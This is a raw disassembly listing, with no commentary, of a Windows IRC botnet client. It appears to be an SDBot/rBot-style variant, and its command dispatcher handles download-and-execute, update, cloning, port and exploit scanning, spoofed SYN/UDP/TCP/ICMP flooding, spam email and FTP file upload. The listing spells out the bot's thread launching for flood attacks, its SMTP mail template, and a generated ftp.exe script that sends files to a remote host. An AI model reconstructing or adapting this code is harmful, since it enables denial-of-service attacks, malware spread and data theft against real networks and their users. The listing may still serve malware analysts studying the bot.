jz loc_40898B
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088C6
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4088C6
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408829
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408829
push [ebp+arg_8]
push offset aUpdate ; "update"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4086AD
push [ebp+arg_8]
push offset aUp_0 ; "up"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4086AD
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408614
push [ebp+arg_8]
push offset aE ; "e"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408614
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4084B7
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4084B7
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4083BD
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4083BD
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_4076C4
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4082D6
push [ebp+arg_8]
push offset aC ; "c"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4082D6
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4081C5
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4081C5
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4081C5
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406A17
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41E510
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41E510
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C0]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B691
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset sub_414F53
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_406A0A
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441DA0
jmp loc_404014
; ---------------------------------------------------------------------------
loc_406A02: ; CODE XREF: sub_401C87+4D89j
push 32h
call ds:dword_4F534C ; Sleep
loc_406A0A: ; CODE XREF: sub_401C87+4D68j
cmp [ebp+var_3070], ebx
jz short loc_406A02
jmp loc_404023
; ---------------------------------------------------------------------------
loc_406A17: ; CODE XREF: sub_401C87+4CBEj
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4080DE
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4080DE
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406B43
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41E510
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41E510
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41E510
push [ebp+arg_0]
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C0]
mov [ebp+var_36A8], esi
push offset dword_441DF8
push eax
call sub_41EA60
add esp, 44h
lea eax, [ebp+var_2C0]
push ebx
push 10h
push eax
call sub_40B691
add esp, 0Ch
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset sub_413ECE
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_406B36
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_441E28
jmp loc_4082A3
; ---------------------------------------------------------------------------
loc_406B2E: ; CODE XREF: sub_401C87+4EB5j
push 32h
call ds:dword_4F534C ; Sleep
loc_406B36: ; CODE XREF: sub_401C87+4E94j
cmp [ebp+var_3498], ebx
jz short loc_406B2E
jmp loc_4082B2
; ---------------------------------------------------------------------------
loc_406B43: ; CODE XREF: sub_401C87+4DCFj
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407FF7
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407FF7
push [ebp+arg_8]
push offset aDownload ; "download"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407EBD
push [ebp+arg_8]
push offset aDl ; "dl"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407EBD
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407DC4
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407DC4
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407CD2
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407CD2
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407BF5
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407BF5
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407ADB
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407ADB
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_4076C4
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4079D6
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4079D6
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4074D3
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4074D3
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4073B4
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4073B4
push [ebp+arg_8]
push offset aU ; "u"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4073B4
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407172
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407172
push [ebp+arg_8]
push offset aP ; "p"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_407172
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_406FAE
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_406FAE
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_406F56
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41F620
push edi
call sub_41E710
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41F620
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41F620
push offset asc_441F2E ; " "
push offset a__0 ; "_"
push [ebp+esi+var_7C]
call sub_4189CD
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41F620
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call ds:dword_4E2F38 ; WSAStartup
lea eax, [ebp+var_47EC]
push eax
call ds:dword_4E304C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_4E3048 ; socket
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call ds:dword_4E2FC8 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41EA60
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call ds:dword_4E2FE0 ; recv
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call ds:dword_4E3018 ; send
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call ds:dword_4E2FE0 ; recv
push esi
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F20 ; WSACleanup
lea eax, [ebp+var_4588]
push eax
push offset unk_441F84
loc_406F0F: ; CODE XREF: sub_401C87+2E78j
; sub_401C87+671Cj ...
lea eax, [ebp+var_2C0]
loc_406F15: ; CODE XREF: sub_401C87+6A21j
push eax
call sub_41EA60
loc_406F1B: ; CODE XREF: sub_401C87+243Fj
add esp, 0Ch
loc_406F1E: ; CODE XREF: sub_401C87+4564j
; sub_401C87+45BCj ...
cmp [ebp+var_8], ebx
jnz short loc_406F3F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_406F3F: ; CODE XREF: sub_401C87+2987j
; sub_401C87+299Cj ...
mov esi, [ebp+arg_24]
loc_406F42: ; CODE XREF: sub_401C87+90Fj
; sub_401C87+7978j ...
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
pop ecx
mov eax, esi
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_406F56: ; CODE XREF: sub_401C87+5132j
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_406F80
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_407523
loc_406F80: ; CODE XREF: sub_401C87+52E0j
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41E710
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4109F3
jmp loc_409A64
; ---------------------------------------------------------------------------
loc_406FAE: ; CODE XREF: sub_401C87+5104j
; sub_401C87+511Bj
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41EC30
lea eax, [ebp+var_1354]
push eax
push offset aSyn_0 ; "syn"
call sub_41F7E0
add esp, 14h
test eax, eax
jz short loc_407013
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_407013
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_407013
push offset unk_441FC8
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_407013: ; CODE XREF: sub_401C87+5352j
; sub_401C87+5369j ...
push [ebp+arg_18]
call sub_41E710
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_407135
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41EC30
push edi
lea eax, [ebp+var_13D4]
push esi
push eax
call sub_41EC30
push [ebp+arg_0]
call sub_41E710
mov [ebp+var_1250], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41EC30
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_4070AA
mov eax, offset aNormal ; "Normal"
loc_4070AA: ; CODE XREF: sub_401C87+541Cj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_442004
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
push ebx
lea eax, [ebp+var_2C0]
push 14h
push eax
call sub_40B691
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset sub_4146C8
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40712B
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442038
jmp loc_406190
; ---------------------------------------------------------------------------
loc_407123: ; CODE XREF: sub_401C87+54AAj
push 32h
call ds:dword_4F534C ; Sleep
loc_40712B: ; CODE XREF: sub_401C87+5489j
cmp [ebp+var_123C], ebx
jz short loc_407123
jmp short loc_407148
; ---------------------------------------------------------------------------
loc_407135: ; CODE XREF: sub_401C87+539Dj
push offset unk_442070
loc_40713A: ; CODE XREF: sub_401C87+1FC5j
; sub_401C87+1FDBj ...
lea eax, [ebp+var_2C0]
loc_407140: ; CODE XREF: sub_401C87+4316j
push eax
call sub_41EA60
pop ecx
pop ecx
loc_407148: ; CODE XREF: sub_401C87+20F6j
; sub_401C87+25C3j ...
cmp [ebp+var_8], ebx
jnz loc_402593
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_407165: ; CODE XREF: sub_401C87+23B5j
call sub_409C75
add esp, 14h
jmp loc_402593
; ---------------------------------------------------------------------------
loc_407172: ; CODE XREF: sub_401C87+50BFj
; sub_401C87+50D6j ...
cmp ds:dword_4E30B4, ebx
jnz loc_40727D
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41E510
push edi
call sub_41E710
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41E710
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41E710
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41E510
push [ebp+var_1004]
mov eax, [ebp+arg_4]
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_100C]
push offset unk_4420A8
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 16h
push eax
call sub_40B691
add esp, 48h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset sub_413B2B
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_407270
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4420F0
jmp loc_406190
; ---------------------------------------------------------------------------
loc_407268: ; CODE XREF: sub_401C87+55EFj
push 32h
call ds:dword_4F534C ; Sleep
loc_407270: ; CODE XREF: sub_401C87+55CEj
cmp [ebp+var_FF0], ebx
jz short loc_407268
jmp loc_407148
; ---------------------------------------------------------------------------
loc_40727D: ; CODE XREF: sub_401C87+54F1j
push 1FFh
lea eax, [ebp+var_2C0]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41E510
jmp loc_40619C
; ---------------------------------------------------------------------------
loc_407298: ; CODE XREF: sub_401C87+5091j
; sub_401C87+50A8j
push edi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_442140
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
push [ebp+arg_0]
call sub_41BC70
push edi
mov [ebp+arg_20], eax
call sub_41BC70
mov ecx, [ebp+arg_20]
push [ebp+arg_10]
add ecx, eax
mov [ebp+arg_20], ecx
call sub_41BC70
mov ecx, [ebp+arg_20]
push [ebp+arg_8]
add ecx, eax
mov [ebp+arg_20], ecx
call sub_41BC70
add eax, [ebp+var_C]
mov ecx, [ebp+arg_20]
push [ebp+arg_18]
lea eax, [eax+ecx+7]
push eax
call sub_41EBB0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41E710
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_4073A0
loc_407329: ; CODE XREF: sub_401C87+56C6j
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_419229
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_407351
cmp eax, ebx
jnz short loc_407370
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_407329
jmp short loc_4073A9
; ---------------------------------------------------------------------------
loc_407351: ; CODE XREF: sub_401C87+56B7j
push ebx
push [ebp+var_4]
push offset unk_44217C
loc_40735A: ; CODE XREF: sub_401C87+572Bj
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
jmp loc_407523
; ---------------------------------------------------------------------------
loc_407370: ; CODE XREF: sub_401C87+56BBj
push [ebp+arg_1C]
lea eax, [ebp+var_2C0]
push offset unk_4421B4
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 20h
loc_4073A0: ; CODE XREF: sub_401C87+56A0j
cmp [ebp+arg_1C], ebx
jnz loc_407523
loc_4073A9: ; CODE XREF: sub_401C87+56C8j
push ebx
push [ebp+var_4]
push offset unk_4421E8
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_4073B4: ; CODE XREF: sub_401C87+504Cj
; sub_401C87+5063j ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41E510
push edi
call sub_41E710
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41E710
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41E710
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_407419
push esi
call sub_41E710
pop ecx
mov [ebp+var_C70], eax
jmp short loc_40741F
; ---------------------------------------------------------------------------
loc_407419: ; CODE XREF: sub_401C87+5781j
mov [ebp+var_C70], ebx
loc_40741F: ; CODE XREF: sub_401C87+5790j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41E510
push [ebp+var_C74]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_C7C]
push offset unk_442220
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 17h
push eax
call sub_40B691
add esp, 30h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset sub_413CB7
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4074C6
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_442268
jmp loc_4082A3
; ---------------------------------------------------------------------------
loc_4074BE: ; CODE XREF: sub_401C87+5845j
push 32h
call ds:dword_4F534C ; Sleep
loc_4074C6: ; CODE XREF: sub_401C87+5824j
cmp [ebp+var_C60], ebx
jz short loc_4074BE
jmp loc_4082B2
; ---------------------------------------------------------------------------
loc_4074D3: ; CODE XREF: sub_401C87+501Ej
; sub_401C87+5035j
push 0Bh
call sub_40B8D3
push edi
mov [ebp+arg_1C], eax
call sub_41E710
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_4076CC
push [ebp+arg_1C]
lea eax, [ebp+var_2C0]
push offset unk_4422A0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 20h
loc_407523: ; CODE XREF: sub_401C87+52F3j
; sub_401C87+56E4j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_4076C4
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409A67
push 4
push esi
call sub_417264
pop ecx
test eax, eax
pop ecx
jnz short loc_40759B
push esi
push offset unk_4422E8
loc_40755A: ; CODE XREF: sub_401C87+7BD8j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
loc_407569: ; CODE XREF: sub_401C87+7285j
; sub_401C87+7BF0j
cmp [ebp+var_8], ebx
jnz short loc_40758A
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_407582: ; CODE XREF: sub_401C87+6EB6j
call sub_409C75
add esp, 14h
loc_40758A: ; CODE XREF: sub_401C87+26D0j
; sub_401C87+26E5j ...
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
jmp loc_402213
; ---------------------------------------------------------------------------
loc_40759B: ; CODE XREF: sub_401C87+58CBj
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_41EB70
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41EB70
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41EB70
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41EA60
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41E490
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_4076C4
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41F4E0
push [ebp+arg_24]
call sub_41BCF0
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_0 ; "-s:%s"
push eax
call sub_41EA60
add esp, 2Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_0 ; "open"
push ebx
call ds:dword_4E2F34
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_407667
push offset unk_442358
jmp short loc_40766C
; ---------------------------------------------------------------------------
loc_407667: ; CODE XREF: sub_401C87+59D7j
push offset unk_442380
loc_40766C: ; CODE XREF: sub_401C87+59DEj
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407695
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_407695: ; CODE XREF: sub_401C87+59F0j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
jmp short loc_4076AF
; ---------------------------------------------------------------------------
loc_4076A3: ; CODE XREF: sub_401C87+5A3Bj
lea eax, [ebp+var_2E58]
push eax
call sub_41F470
loc_4076AF: ; CODE XREF: sub_401C87+5A1Aj
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_417264
add esp, 0Ch
test eax, eax
jnz short loc_4076A3
loc_4076C4: ; CODE XREF: sub_401C87+5Bj
; sub_401C87+392j ...
xor eax, eax
inc eax
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4076CC: ; CODE XREF: sub_401C87+5866j
push [ebp+arg_10]
call sub_41E710
push edi
mov [ebp+var_370], eax
call sub_41E710
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41E710
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_407705
push 5
pop eax
mov [ebp+var_36C], eax
loc_407705: ; CODE XREF: sub_401C87+5A73j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407712
mov [ebp+var_36C], ecx
loc_407712: ; CODE XREF: sub_401C87+5A83j
push [ebp+arg_18]
call sub_41E710
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_407734
mov [ebp+var_368], eax
loc_407734: ; CODE XREF: sub_401C87+5AA5j
or [ebp+var_354], 0FFFFFFFFh
cmp ds:dword_4481F0, ebx
mov [ebp+arg_20], ebx
jz short loc_407783
mov edi, offset dword_4481F0
loc_40774B: ; CODE XREF: sub_401C87+5ADEj
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_407769
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_40774B
jmp short loc_407783
; ---------------------------------------------------------------------------
loc_407769: ; CODE XREF: sub_401C87+5AD4j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, ds:dword_4481F0[ecx]
mov [ebp+var_370], ecx
loc_407783: ; CODE XREF: sub_401C87+5ABDj
; sub_401C87+5AE0j
cmp [ebp+var_370], ebx
jnz short loc_407795
push offset unk_4423B0
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_407795: ; CODE XREF: sub_401C87+5B02j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_4077D0
cmp byte ptr [edi], 23h
jz short loc_4077D0
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41EC30
push 78h
push edi
call sub_41F720
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_4078AA
; ---------------------------------------------------------------------------
loc_4077D0: ; CODE XREF: sub_401C87+5B17j
; sub_401C87+5B1Cj
cmp [ebp+var_8FF], bl
jnz short loc_4077F2
cmp [ebp+var_8FE], bl
jnz short loc_4077F2
cmp [ebp+var_8EE], bl
jnz short loc_4077F2
push offset unk_4423E4
jmp loc_40713A
; ---------------------------------------------------------------------------
loc_4077F2: ; CODE XREF: sub_401C87+5B4Fj
; sub_401C87+5B57j ...
push 10h
lea eax, [ebp+var_2D8]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D8], edi
